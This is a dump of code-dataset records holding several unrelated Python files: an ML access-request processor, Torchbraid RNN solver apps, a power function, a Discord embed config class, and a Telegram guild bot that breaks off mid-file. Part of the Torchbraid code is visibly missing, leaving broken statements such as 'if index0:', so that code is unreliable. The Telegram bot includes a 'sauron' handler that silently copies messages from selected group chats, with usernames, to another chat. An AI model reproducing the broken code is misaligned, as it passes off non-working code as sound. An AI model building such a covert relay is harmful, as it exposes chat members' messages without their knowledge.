"modules.db.connect_mysql.MySQL", "line_number": 21, "usage_type": "call"}, {"api_name": "settings.db_config", "line_number": 21, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 26, "usage_type": "call"}, {"api_name": "modules.word_processing.count_vector.CountVector", "line_number": 30, "usage_type": "call"}, {"api_name": "settings.path.get", "line_number": 31, "usage_type": "call"}, {"api_name": "settings.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "modules.word_processing.stop_words.get_all_stopwords", "line_number": 34, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 40, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 42, "usage_type": "call"}, {"api_name": "modules.analysis.train.Train", "line_number": 49, "usage_type": "call"}]} +{"seq_id": "384163697", "text": "\"\"\"This module handles ML WZMUK processing.\"\"\"\nimport os\n\nimport cx_Oracle\nfrom datetime import datetime\nfrom xlrd import open_workbook, cellname, xldate_as_tuple\n\nfrom db.ml import ml_prod_connection\nfrom db.ml_sti import recertify_account, create_account, delete_account, ml_sti_connection\nfrom remedy import get_incidents, get_work_info, close_incident\n\n\ndef ml_wzmuk_sti():\n \"\"\"Process ML access requests for STI (test) environment.\"\"\"\n process_ml_wzmuks(tier2='M55 ML_STI', ml_connection=ml_sti_connection, env_name='ML ŚTI')\n\n\ndef ml_wzmuk_prod():\n \"\"\"Process ML access requests for PROD environment.\"\"\"\n process_ml_wzmuks(tier2='M38 ML', ml_connection=ml_prod_connection, env_name='ML PROD')\n\n\ndef process_ml_wzmuks(tier2, ml_connection, env_name):\n \"\"\"Process access requests for ML system. Depending on what's in the request it can:\n create a new account, delete an old one, or change permissions for an existing account.\"\"\"\n incidents = get_incidents(\n 'VC3_BSS_ML',\n '(185) E-WZMUK-konto w SI Nowe/Modyfikacja/Likwidacja',\n tier2,\n '40h'\n )\n try:\n ml_con = ml_connection()\n except cx_Oracle.DatabaseError:\n return\n\n for inc in incidents:\n work_info = get_work_info(inc)\n filename, contents = work_info[0]['attachment']\n\n xls_file = open(filename, 'wb')\n xls_file.write(contents)\n xls_file.close()\n users = get_users_data_from_xls(filename)\n os.remove(filename)\n\n resolution = ''\n for user in users:\n if user['typ_wniosku'] == 'Modyfikacja uprawnień':\n resolution += ml_modify_access(ml_con, user, env_name, inc)\n elif user['typ_wniosku'] == 'Nowe konto':\n resolution += ml_add_access(ml_con, user, env_name, inc)\n elif user['typ_wniosku'] == 'Likwidacja konta':\n resolution += ml_remove_access(ml_con, user, env_name, inc)\n\n if resolution:\n close_incident(inc, resolution.strip())\n print('{} {}: {}'.format(str(datetime.now()).split('.')[0], inc['inc'], resolution.strip()))\n\n ml_con.close()\n\n\ndef get_users_data_from_xls(filename):\n \"\"\"Return user data from xls file necessary to process the request.\"\"\"\n book = open_workbook(filename)\n sheet = book.sheet_by_name('Lista osób')\n\n users = []\n for row in range(8, sheet.nrows):\n user = {}\n for col in range(sheet.ncols):\n if 'K' in cellname(row, col):\n user['login_ad'] = sheet.cell(row, col).value\n elif 'S' in cellname(row, col):\n user['typ_wniosku'] = sheet.cell(row, col).value\n elif 'T' in cellname(row, col):\n profile = sheet.cell(row, col).value\n user['profil'] = map_profile_to_db(profile)\n elif 'U' in cellname(row, col):\n date_value = xldate_as_tuple(sheet.cell(row, col).value, book.datemode)[:3]\n user['data_waznosci_konta'] = datetime(*date_value)\n elif 'W' in cellname(row, col):\n user['przedluzenie_dostepu'] = sheet.cell(row, col).value\n users.append(user)\n return users\n\n\ndef map_profile_to_db(profile_name):\n \"\"\"Return a proper DB profile name for a profile name taken from the access request.\"\"\"\n profile_name_lower = profile_name.lower()\n db_profile = None\n if 'dealer' in profile_name_lower and 'support' in profile_name_lower:\n db_profile = 'DS_Orange_Love'\n elif 'read_only' in profile_name_lower and 'pickup' not in profile_name_lower:\n db_profile = 'Read_only'\n elif 'biznes' in profile_name_lower:\n db_profile = 'Biznes'\n elif 'ML_' in profile_name:\n db_profile = profile_name[3:]\n return db_profile\n\n\ndef ml_modify_access(ml_con, user, env_name, inc):\n \"\"\"Modify user's access to ML.\"\"\"\n resolution = ''\n rows_updated = recertify_account(\n ml_con, user['login_ad'], user['data_waznosci_konta'], user['profil'], inc['inc'])\n if rows_updated == 1:\n resolution += 'Przedłużono dostęp do {} dla konta AD {} do dnia {}.\\n'. \\\n format(env_name, user['login_ad'], user['data_waznosci_konta'])\n elif rows_updated == 0:\n rows_inserted = create_account(\n ml_con, user['login_ad'], user['data_waznosci_konta'], user['profil'], inc['inc'])\n if rows_inserted == 1:\n resolution += 'Utworzono dostęp do {} dla konta AD {} z profilem {} do dnia {}.\\n'. \\\n format(env_name, user['login_ad'], user['profil'], user['data_waznosci_konta'])\n return resolution\n\n\ndef ml_add_access(ml_con, user, env_name, inc):\n \"\"\"Add access to ML for user.\"\"\"\n resolution = ''\n try:\n rows_inserted = create_account(\n ml_con, user['login_ad'], user['data_waznosci_konta'], user['profil'], inc['inc'])\n except cx_Oracle.IntegrityError:\n rows_inserted = 0\n if rows_inserted == 1:\n resolution += 'Utworzono dostęp do {} dla konta AD {} z profilem {} do dnia {}.\\n'. \\\n format(env_name, user['login_ad'], user['profil'], user['data_waznosci_konta'])\n elif rows_inserted == 0:\n rows_updated = recertify_account(\n ml_con, user['login_ad'], user['data_waznosci_konta'], user['profil'], inc['inc'])\n if rows_updated == 1:\n resolution += 'Przedłużono dostęp do {} dla konta AD {} do dnia {}.\\n'. \\\n format(env_name, user['login_ad'], user['data_waznosci_konta'])\n return resolution\n\n\ndef ml_remove_access(ml_con, user, env_name, inc):\n \"\"\"Remove access to ML from user.\"\"\"\n resolution = ''\n rows_updated = delete_account(ml_con, user['login_ad'], inc)\n if rows_updated == 1:\n resolution += 'Usunięto dostęp do {} dla konta AD {}.\\n'.format(env_name, user['login_ad'])\n elif rows_updated == 0:\n resolution += 'Brak dostępu do {} dla konta AD {}.\\n'.format(env_name, user['login_ad'])\n return resolution\n", "sub_path": "ml_wzmuk_processing.py", "file_name": "ml_wzmuk_processing.py", "file_ext": "py", "file_size_in_byte": 5996, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "db.ml_sti.ml_sti_connection", "line_number": 15, "usage_type": "name"}, {"api_name": "db.ml.ml_prod_connection", "line_number": 20, "usage_type": "name"}, {"api_name": "remedy.get_incidents", "line_number": 26, "usage_type": "call"}, {"api_name": "cx_Oracle.DatabaseError", "line_number": 34, "usage_type": "attribute"}, {"api_name": "remedy.get_work_info", "line_number": 38, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 45, "usage_type": "call"}, {"api_name": "remedy.close_incident", "line_number": 57, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 58, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 58, "usage_type": "name"}, {"api_name": "xlrd.open_workbook", "line_number": 65, "usage_type": "call"}, {"api_name": "xlrd.cellname", "line_number": 72, "usage_type": "call"}, {"api_name": "xlrd.cellname", "line_number": 74, "usage_type": "call"}, {"api_name": "xlrd.cellname", "line_number": 76, "usage_type": "call"}, {"api_name": "xlrd.cellname", "line_number": 79, "usage_type": "call"}, {"api_name": "xlrd.xldate_as_tuple", "line_number": 80, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 81, "usage_type": "call"}, {"api_name": "xlrd.cellname", "line_number": 82, "usage_type": "call"}, {"api_name": "db.ml_sti.recertify_account", "line_number": 106, "usage_type": "call"}, {"api_name": "db.ml_sti.create_account", "line_number": 112, "usage_type": "call"}, {"api_name": "db.ml_sti.create_account", "line_number": 124, "usage_type": "call"}, {"api_name": "cx_Oracle.IntegrityError", "line_number": 126, "usage_type": "attribute"}, {"api_name": "db.ml_sti.recertify_account", "line_number": 132, "usage_type": "call"}, {"api_name": "db.ml_sti.delete_account", "line_number": 143, "usage_type": "call"}]} +{"seq_id": "287134103", "text": "#@HEADER\n# ************************************************************************\n# \n# Torchbraid v. 0.1\n# \n# Copyright 2020 National Technology & Engineering Solutions of Sandia, LLC \n# (NTESS). Under the terms of Contract DE-NA0003525 with NTESS, the U.S. \n# Government retains certain rights in this software.\n# \n# Torchbraid is licensed under 3-clause BSD terms of use:\n# \n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are\n# met:\n# \n# 1. Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# \n# 2. Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n# \n# 3. Neither the name National Technology & Engineering Solutions of Sandia, \n# LLC nor the names of the contributors may be used to endorse or promote \n# products derived from this software without specific prior written permission.\n# \n# Questions? Contact Eric C. Cyr (eccyr@sandia.gov)\n# \n# ************************************************************************\n#@HEADER\n\n# cython: profile=True\n# cython: linetrace=True\n\nimport torch\nimport traceback\nimport numpy as np\n\nfrom braid_vector import BraidVector\n\nimport torchbraid_app as parent\nimport utils\n\nimport sys\n\nfrom mpi4py import MPI\n\nclass ForwardBraidApp(parent.BraidApp):\n\n def __init__(self,comm,RNN_models,local_num_steps,hidden_size,num_layers,Tf,max_levels,max_iters,timer_manager,abs_tol):\n parent.BraidApp.__init__(self,'RNN',comm,local_num_steps,Tf,max_levels,max_iters,spatial_ref_pair=None,require_storage=True,abs_tol=abs_tol)\n\n self.hidden_size = hidden_size\n self.num_layers = num_layers\n\n self.RNN_models = RNN_models\n\n comm = self.getMPIComm()\n my_rank = self.getMPIComm().Get_rank()\n num_ranks = self.getMPIComm().Get_size()\n\n # build up the core\n self.py_core = self.initCore()\n\n # force evaluation of gradients at end of up-cycle\n self.finalRelax()\n\n self.timer_manager = timer_manager\n self.use_deriv = False\n\n self.user_dt_ratio = self._dt_ratio_\n\n self.seq_shapes = None\n self.backpropped = dict()\n # end __init__\n\n def _dt_ratio_(self,level,tstart,tstop,fine_dt): \n return np.sqrt(np.sqrt((tstop-tstart)/fine_dt))\n\n def setDtRatio(self,user_dt_ratio):\n self.user_dt_ratio = user_dt_ratio\n\n def dt_ratio(self,level,tstart,tstop):\n return self.user_dt_ratio(level,tstart,tstop,self.dt)\n # end dt_ratio\n\n def getTensorShapes(self):\n return list(self.shape0)+self.seq_shapes\n\n def getSequenceVector(self,t,tf,level):\n index = self.getLocalTimeStepIndex(t,tf,level)\n if index<0: \n pre_str = \"\\n{}: WARNING: getSequenceVector index negative at {}: {}\\n\".format(self.my_rank,t,index)\n stack_str = utils.stack_string('{}: |- '.format(self.my_rank))\n print(pre_str+stack_str)\n \n if index0:\n send_request = comm.Isend(np.ascontiguousarray(self.x[:,0,:].numpy()),dest=my_rank-1,tag=22)\n\n if recv_request:\n recv_request.Wait()\n self.x = torch.cat((self.x,neighbor_x.unsqueeze(1)), 1)\n\n if send_request:\n send_request.Wait()\n # end wit htimer\n\n # run the braid solver\n y = self.runBraid(h_c)\n\n with self.timer(\"run:postcomm\"):\n y = comm.bcast(y,root=num_ranks-1)\n\n # y is a tuple with the final h,c components\n return y\n # end forward\n\n def timer(self,name):\n return self.timer_manager.timer(\"ForWD::\"+name)\n\n def eval(self,g0,tstart,tstop,level,done):\n \"\"\"\n Method called by \"my_step\" in braid. This is\n required to propagate from tstart to tstop, with the initial\n condition x. The level is defined by braid\n \"\"\"\n\n with self.timer(\"eval\"):\n # there are two paths by which eval is called:\n # 1. x is a BraidVector: my step has called this method\n # 2. x is a torch tensor: called internally (probably at the behest\n # of the adjoint)\n \n seq_x = g0.weightTensors()[0]\n \n t_h,t_c = g0.tensors()\n if not done:\n with torch.no_grad():\n t_yh,t_yc = self.RNN_models(seq_x,t_h,t_c)\n \n if level!=0:\n dt_ratio = self.dt_ratio(level,tstart,tstop)\n \n t_yh = (1.0-dt_ratio)*t_h + dt_ratio*t_yh\n t_yc = (1.0-dt_ratio)*t_c + dt_ratio*t_yc\n else:\n with torch.enable_grad():\n h = t_h.detach()\n c = t_c.detach()\n h.requires_grad = True\n c.requires_grad = True\n t_yh,t_yc = self.RNN_models(seq_x,h,c)\n \n if level!=0:\n dt_ratio = self.dt_ratio(level,tstart,tstop)\n \n t_yh = (1.0-dt_ratio)*h + dt_ratio*t_yh\n t_yc = (1.0-dt_ratio)*c + dt_ratio*t_yc\n self.backpropped[tstart,tstop] = ((h,c),(t_yh,t_yc))\n \n seq_x = self.getSequenceVector(tstop,None,level)\n \n g0.addWeightTensors((seq_x,))\n g0.replaceTensor(t_yh,0)\n g0.replaceTensor(t_yc,1)\n # end eval\n\n def getPrimalWithGrad(self,tstart,tstop,level):\n \"\"\" \n Get the forward solution associated with this\n time step and also get its derivative. This is\n used by the BackwardApp in computation of the\n adjoint (backprop) state and parameter derivatives.\n Its intent is to abstract the forward solution\n so it can be stored internally instead of\n being recomputed.\n \"\"\"\n \n if level==0 and (tstart,tstop) in self.backpropped:\n with self.timer(\"getPrimalWithGrad-short\"):\n x,y = self.backpropped[(tstart,tstop)]\n return y,x\n\n with self.timer(\"getPrimalWithGrad-long\"):\n b_x = self.getUVector(0,tstart)\n t_x = b_x.tensors()\n \n x = tuple([v.detach() for v in t_x])\n \n xh,xc = x \n xh.requires_grad = True\n xc.requires_grad = True\n \n seq_x = b_x.weightTensors()[0]\n \n with torch.enable_grad():\n yh,yc = self.RNN_models(seq_x,xh,xc)\n \n if level!=0:\n dt_ratio = self.dt_ratio(level,tstart,tstop)\n \n yh = (1.0-dt_ratio)*xh + dt_ratio*yh\n yc = (1.0-dt_ratio)*xc + dt_ratio*yc\n \n return (yh,yc), x\n # end getPrimalWithGrad\n\n# end ForwardBraidApp\n\n##############################################################\n\nclass BackwardBraidApp(parent.BraidApp):\n\n def __init__(self,fwd_app,timer_manager,abs_tol):\n # call parent constructor\n parent.BraidApp.__init__(self,'RNN',fwd_app.getMPIComm(),\n fwd_app.local_num_steps,\n fwd_app.Tf,\n fwd_app.max_levels,\n fwd_app.max_iters,spatial_ref_pair=None,require_storage=True,abs_tol=abs_tol)\n\n self.fwd_app = fwd_app\n\n # build up the core\n self.py_core = self.initCore()\n\n # reverse ordering for adjoint/backprop\n self.setRevertedRanks(1)\n\n # force evaluation of gradients at end of up-cycle\n self.finalRelax()\n\n self.timer_manager = timer_manager\n # end __init__\n\n def __del__(self):\n self.fwd_app = None\n\n def getTensorShapes(self):\n return self.shape0\n\n def timer(self,name):\n return self.timer_manager.timer(\"BckWD::\"+name)\n\n def run(self,x):\n\n try:\n self.RNN_models = self.fwd_app.RNN_models\n\n f = self.runBraid(x)\n\n self.grads = [p.grad.detach().clone() for p in self.RNN_models.parameters()]\n\n # required otherwise we will re-add the gradients\n self.RNN_models.zero_grad() \n\n self.RNN_models = None\n except:\n print('\\n**** Torchbraid Internal Exception ****\\n')\n traceback.print_exc()\n\n return f\n # end forward\n\n def eval(self,w,tstart,tstop,level,done):\n \"\"\"\n Evaluate the adjoint problem for a single time step. Here 'w' is the\n adjoint solution. The variables 'x' and 'y' refer to the forward\n problem solutions at the beginning (x) and end (y) of the type step.\n \"\"\"\n with self.timer(\"eval\"):\n try:\n # we need to adjust the time step values to reverse with the adjoint\n # this is so that the renumbering used by the backward problem is properly adjusted\n t_y,t_x = self.fwd_app.getPrimalWithGrad(self.Tf-tstop,self.Tf-tstart,level)\n\n # play with the parameter gradients to make sure they are on apprpriately,\n # store the initial state so we can revert them later\n required_grad_state = []\n if done!=1:\n for p in self.RNN_models.parameters(): \n required_grad_state += [p.requires_grad]\n p.requires_grad = False\n\n # perform adjoint computation\n t_w = w.tensors()\n s_w = torch.stack(t_w)\n with torch.enable_grad():\n s_y = torch.stack(t_y)\n s_w.requires_grad = False\n s_y.backward(s_w,retain_graph=True)\n\n # this little bit of pytorch magic ensures the gradient isn't\n # stored too long in this calculation (in particulcar setting\n # the grad to None after saving it and returning it to braid)\n for wv,xv in zip(t_w,t_x):\n wv.copy_(xv.grad.detach()) \n xv.grad = None\n\n # revert the gradient state to where they started\n if done!=1:\n for p,s in zip(self.RNN_models.parameters(),required_grad_state):\n p.requires_grad = s\n except:\n print('\\n**** Torchbraid Internal Exception ****\\n')\n traceback.print_exc()\n # end eval\n\n# end BackwardODENetApp\n", "sub_path": "torchbraid/rnn_apps.py", "file_name": "rnn_apps.py", "file_ext": "py", "file_size_in_byte": 10746, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "torchbraid_app.BraidApp", "line_number": 48, "usage_type": "attribute"}, {"api_name": "torchbraid_app.BraidApp.__init__", "line_number": 51, "usage_type": "call"}, {"api_name": "torchbraid_app.BraidApp", "line_number": 51, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 78, "usage_type": "call"}, {"api_name": "utils.stack_string", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.empty", "line_number": 109, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 115, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.ascontiguousarray", "line_number": 143, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 147, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 183, "usage_type": "call"}, {"api_name": "torch.enable_grad", "line_number": 192, "usage_type": "call"}, {"api_name": "torch.enable_grad", "line_number": 241, "usage_type": "call"}, {"api_name": "torchbraid_app.BraidApp", "line_number": 257, "usage_type": "attribute"}, {"api_name": "torchbraid_app.BraidApp.__init__", "line_number": 261, "usage_type": "call"}, {"api_name": "torchbraid_app.BraidApp", "line_number": 261, "usage_type": "attribute"}, {"api_name": "traceback.print_exc", "line_number": 305, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 332, "usage_type": "call"}, {"api_name": "torch.enable_grad", "line_number": 333, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 334, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 351, "usage_type": "call"}]} +{"seq_id": "319996117", "text": "#!/bin/python3\nfrom functools import reduce\nfrom operator import mul\n\ndef powI(pow_, base):\n return reduce(mul, [base]*pow_) if pow_ else 1\n\n\ndef powF(pow_, base):\n if pow_ == 0:\n return 1\n temp = powF(pow_ // 2, base)\n return base * temp * temp if pow_ % 2 else temp * temp\n\n\nif __name__ == '__main__':\n import sys\n if len(sys.argv) != 3:\n print(\"usage: [BASE] [POWER]\", sys.argv[0])\n else:\n base, power = map(int, sys.argv[1:])\n print(powI(power, base))\n", "sub_path": "cs471/hw1/pow_full.py", "file_name": "pow_full.py", "file_ext": "py", "file_size_in_byte": 505, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "functools.reduce", "line_number": 6, "usage_type": "call"}, {"api_name": "operator.mul", "line_number": 6, "usage_type": "argument"}, {"api_name": "sys.argv", "line_number": 18, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 19, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 21, "usage_type": "attribute"}]} +{"seq_id": "501676890", "text": "import discord\nimport json\n\nclass Embsetup:\n _title = \"\"\n _description = \"\"\n _link = \"\"\n _colour = \"\"\n _image = \"\"\n _credit = \"\"\n def __init__(self):\n f = open(\"temp.json\")\n data = json.load(f)\n self._title = data[\"_title\"]\n self._description = data[\"_description\"]\n self._link = data[\"_link\"]\n self._colour = data[\"_colour\"]\n self._image = data[\"_image\"]\n self._credit = data[\"_credit\"]\n f.close()\n\n def save(self):\n f = open(\"temp.json\", \"r+\")\n data = json.load(f)\n data[\"_title\"] = self._title\n data[\"_description\"] = self._description\n data[\"_link\"] = self._link\n data[\"_colour\"] = self._colour\n data[\"_image\"] = self._image\n data[\"_credit\"] = self._credit\n f.seek(0)\n json.dump(data, f)\n f.truncate()\n f.close()\n\n def newembed(self):\n self._title = \"\"\n self._description = \"\"\n self._link = \"\"\n self._colour = \"\"\n self._image = \"\"\n self._credit = \"\"\n self.save()\n\n def title(self, m_title):\n self._title = m_title\n self.save()\n\n def description(self, m_description):\n self._description = m_description\n self.save()\n\n def colour(self, m_colour):\n temp_color = \"0x\" + m_colour[1:]\n self._colour = temp_color\n self.save()\n\n def image(self, m_image):\n self._image = m_image\n self.save()\n\n def link(self, m_link):\n self._link = m_link\n self.save()\n\n def credit(self, m_credit):\n self._credit = m_credit\n self.save()\n", "sub_path": "embsetup.py", "file_name": "embsetup.py", "file_ext": "py", "file_size_in_byte": 1647, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "json.load", "line_number": 13, "usage_type": "call"}, {"api_name": "json.load", "line_number": 24, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 32, "usage_type": "call"}]} +{"seq_id": "374092373", "text": "import telebot\nimport threading\nimport time\nimport os\nimport logging\nimport json\nfrom flask import Flask, request\n\nimport models as m\nfrom renderers import *\nfrom custom_errors import *\nimport utils\n\nfrom dotenv import load_dotenv\nload_dotenv()\n\n__token__ = os.getenv(\"TG_TOKEN\")\ntelebot.logger.setLevel(logging.INFO)\nbot = telebot.AsyncTeleBot(__token__)\n\nguilds = m.Guilds.load()\n\nwith open('feature_whitelist.json') as f:\n __feature_whitelist__ = json.load(f)\n\nwith open('sauron.json') as f:\n __sauron__ = json.load(f)\nprint(__sauron__)\n\n\n################################\n# Middleware #\n################################\ndef needs_to_be_sauroned(message):\n try:\n return message.chat.id in __sauron__[\"target\"] and message.text is not None and message.text[0] is not \"/\"\n except Exception as e:\n logging.exception(e)\n return False\n\n\n@bot.message_handler(func=needs_to_be_sauroned)\ndef handle_sauron(message):\n nazgul = \"[({}){}]:{}\".format(message.chat.title, message.from_user.username, message.text)\n print(nazgul)\n bot.send_message(__sauron__[\"out\"], nazgul)\n\n\n# TODO: This is hack to keep fort feature only for ascent\ndef ensure_feature_whitelisted(command, message):\n command = command.replace(\"/\", \"\", 1)\n whitelist = __feature_whitelist__.get(command, None)\n if whitelist is not None and message.chat.id not in whitelist:\n raise FeatureForbidden(message.chat.id)\n\n\ndef _update_pinned_msg(guild):\n if guild.pinned_message_id is not None:\n bot.edit_message_text(render_guild_admin(guild),\n chat_id=guild.chat_id,\n message_id=guild.pinned_message_id,\n parse_mode=\"Markdown\",\n reply_markup=render_poll_markup(guild))\n\n\ndef process_command(commands, message, doc):\n try:\n parts = message.text.split(' ')\n ensure_feature_whitelisted(parts[0], message)\n guild = guilds.get(message.chat.id)\n if len(parts) >= 2 and parts[1] in commands:\n command_str = parts[1]\n answer = commands[command_str](message)\n _update_pinned_msg(guild)\n guilds.save()\n else:\n raise WrongCommandError(doc)\n except Exception as e:\n if issubclass(type(e), GuildError):\n answer = m.MessageReply(e.message)\n else:\n logging.exception(e)\n answer = m.MessageReply(\"Unknown error\")\n return answer\n\n\ndef handle_command(commands, message, doc):\n answer = process_command(commands, message, doc)\n if answer is not None and len(answer.message) > 0:\n sent = (bot.send_message(message.chat.id, answer.message,\n parse_mode=\"Markdown\",\n disable_notification=True,\n reply_markup=answer.reply_markup,\n )).wait()\n if answer.temporary:\n delete_command_and_reply(message, sent)\n\n\ndef handle_callback(commands, call):\n # monkey patch message data to format of text commands\n call.message.text = call.data\n call.message.from_user = call.from_user\n answer = process_command(commands, call.message, \"Command received: {}\".format(call.data))\n bot.answer_callback_query(call.id, text=answer.message)\n\n\ndef delete_command_and_reply(message, reply):\n def _delete_messages(msg, rep):\n if type(rep) is tuple:\n logging.error(\"Could not delete reply: {}\".format(reply[1]))\n return\n time.sleep(5)\n bot.delete_message(msg.chat.id, msg.message_id)\n bot.delete_message(msg.chat.id, reply.message_id)\n del_task = threading.Thread(target=_delete_messages, args=(message, reply), daemon=True)\n del_task.start()\n\n\n################################\n# Callback Handlers #\n################################\n@bot.callback_query_handler(func=lambda c: True)\ndef cb_query_handler(call):\n cb_handlers = {\n 'reg': exped_reg,\n 'mark': fort_mark,\n 'check': fort_check,\n 'ready': exped_ready,\n 'reassign': fort_reassign,\n }\n handle_callback(cb_handlers, call)\n\n\n################################\n# Expedition Handlers #\n################################\ndef exped_new(message):\n doc = \"\"\"Example:\n/exped new team1 1500\n/exped new team1 1500 description\n \"\"\"\n parts = message.text.split(' ', 4)\n if len(parts) not in [4, 5]:\n raise WrongCommandError(doc)\n time = parts[3]\n title = parts[2]\n try:\n description = parts[4]\n except IndexError:\n description = \"\"\n\n try:\n guild = guilds.get(message.chat.id)\n e = guild.new_expedition(title, time, description)\n return m.MessageReply(\"Expedition created: {} {}\".format(escape_for_markdown(e.title), time))\n except ValueError:\n raise WrongCommandError(doc)\n\n\ndef exped_title(message):\n doc = \"\"\"Example:\n/exped title oldtitle newtitle\n \"\"\"\n parts = message.text.split(' ')\n if len(parts) != 4:\n raise WrongCommandError(doc)\n\n guild = guilds.get(message.chat.id)\n guild.set_expedition_title(parts[2], parts[3])\n return m.MessageReply(\"{} updated to {}\".format(escape_for_markdown(parts[2]), escape_for_markdown(parts[3])))\n\n\ndef exped_description(message):\n doc = \"\"\"Example:\n/exped desc name description\n \"\"\"\n parts = message.text.split(' ', 3)\n if len(parts) < 3:\n raise WrongCommandError(doc)\n if len(parts) == 3:\n parts = parts + [\"\"]\n\n guild = guilds.get(message.chat.id)\n e = guild.set_expedition_description(parts[2], parts[3])\n return m.MessageReply(\"{} description updated\".format(escape_for_markdown(e.title)))\n\n\ndef exped_time(message):\n doc = \"\"\"Example:\n/exped time team HHMM\n \"\"\"\n parts = message.text.split(' ')\n if len(parts) != 4:\n raise WrongCommandError(doc)\n try:\n guild = guilds.get(message.chat.id)\n e = guild.set_expedition_time(parts[2], parts[3])\n return m.MessageReply(\"{} updated to {}\".format(escape_for_markdown(e.title), parts[3]))\n except ValueError:\n raise WrongCommandError(doc)\n\n\ndef exped_delete(message):\n doc = \"\"\"Example:\n/exped delete team\n \"\"\"\n parts = message.text.split(' ')\n if len(parts) == 3:\n guild = guilds.get(message.chat.id)\n guild.delete_expedition(parts[2])\n return m.MessageReply(\"{} deleted.\".format(parts[2]))\n else:\n raise WrongCommandError(doc)\n\n\ndef exped_reg(message):\n doc = \"\"\"Example:\n/exped reg team\n/exped reg team [label]\n \"\"\"\n parts = message.text.split(' ')\n if len(parts) == 4:\n label = parts[3]\n elif len(parts) == 3:\n label = \"\"\n else:\n raise WrongCommandError(doc)\n\n title = parts[2]\n handle = message.from_user.first_name\n handle_id = message.from_user.id\n guild = guilds.get(message.chat.id)\n\n try:\n e, member = guild.checkin_expedition(title, handle_id, handle, label)\n answer_text = \"{} checked in to {}\".format(member.tg_handle, e.title)\n except ExpedMemberAlreadyExists:\n e, member = guild.checkout_expedition(title, handle_id, handle, label)\n answer_text = \"{} checked out of {}\".format(member.tg_handle, e.title)\n return m.MessageReply(answer_text)\n\n\ndef exped_daily(message):\n doc = \"\"\"Example:\n/exped daily team\n/exped daily team [label]\n \"\"\"\n parts = message.text.split(' ')\n if len(parts) == 4:\n label = parts[3]\n elif len(parts) == 3:\n label = \"\"\n else:\n raise WrongCommandError(doc)\n\n title = parts[2]\n handle = message.from_user.first_name\n handle_id = message.from_user.id\n guild = guilds.get(message.chat.id)\n\n e, success = guild.daily_expedition(title, handle_id, handle, label)\n word = \"in to\" if success else \"out of\"\n return m.MessageReply(\"{} checked {} daily {}\".format(handle, word, e.title))\n \n\ndef exped_view(message):\n doc = \"\"\"Example:\n/exped view\n/exped view [team]\n \"\"\"\n parts = message.text.split(' ')\n if len(parts) == 3:\n team = parts[2]\n else:\n team = None\n guild = guilds.get(message.chat.id)\n if team:\n exped = guild.get_expedition(team)\n return m.MessageReply(render_expedition_detail(exped), temporary=False)\n else:\n expeds = list(guild.expeditions.values())\n return m.MessageReply(render_expeditions(expeds,\n guild_reset_time=guild.daily_reset_time,\n filter=False\n ),\n temporary=False)\n\n\ndef exped_ready(message):\n doc = \"\"\"Example:\n/exped ready team\n/exped ready team [label]\n \"\"\"\n parts = message.text.split(' ')\n if len(parts) == 4:\n label = parts[3]\n elif len(parts) == 3:\n label = \"\"\n else:\n raise WrongCommandError(doc)\n\n title = parts[2]\n handle = message.from_user.first_name\n handle_id = message.from_user.id\n guild = guilds.get(message.chat.id)\n\n e, result = guild.ready_expedition(title, handle_id, handle, label)\n bot.edit_message_text(render_expedition_reminder(e),\n chat_id=guild.chat_id,\n message_id=message.message_id,\n parse_mode=\"Markdown\",\n reply_markup=render_ready_markup(e))\n\n ready_string = \"ready\" if result else \"not ready\"\n return m.MessageReply(\"You are marked as {} for {}.\".format(ready_string, e.title))\n\n\n@bot.edited_message_handler(commands=['exped'])\n@bot.message_handler(commands=['exped'])\ndef exped(message):\n exped_commands = {\n 'reg': exped_reg,\n 'new': exped_new,\n 'delete': exped_delete,\n 'time': exped_time,\n 'title': exped_title,\n 'desc': exped_description,\n 'view': exped_view,\n 'daily': exped_daily\n }\n doc = \"\"\"\n/exped command [arguments...]\nAvailable commands are : {}\n \"\"\".format([a for a in exped_commands.keys()])\n handle_command(exped_commands, message, doc)\n\n\n################################\n# Fort Handlers #\n################################\ndef fort_mark(message):\n doc = \"\"\"Example:\n/fort mark\n/fort mark \n\"\"\"\n parts = message.text.split(' ')\n if len(parts) == 3:\n label = parts[2]\n elif len(parts) == 2:\n label = \"\"\n else:\n raise WrongCommandError(doc)\n\n guild = guilds.get(message.chat.id)\n handle = message.from_user.first_name\n handle_id = message.from_user.id\n\n try:\n guild.fort_mark(handle_id, handle, label)\n answer_text = \"Attendance added for {}\".format(handle)\n except FortAttendanceExistsError:\n guild.fort_unmark(handle_id, handle, label)\n answer_text = \"Attendance removed for {}\".format(handle)\n return m.MessageReply(answer_text)\n\n\ndef fort_check(message):\n doc = \"\"\"Example:\n/fort check\n/fort check \n \"\"\"\n parts = message.text.split(' ')\n if len(parts) == 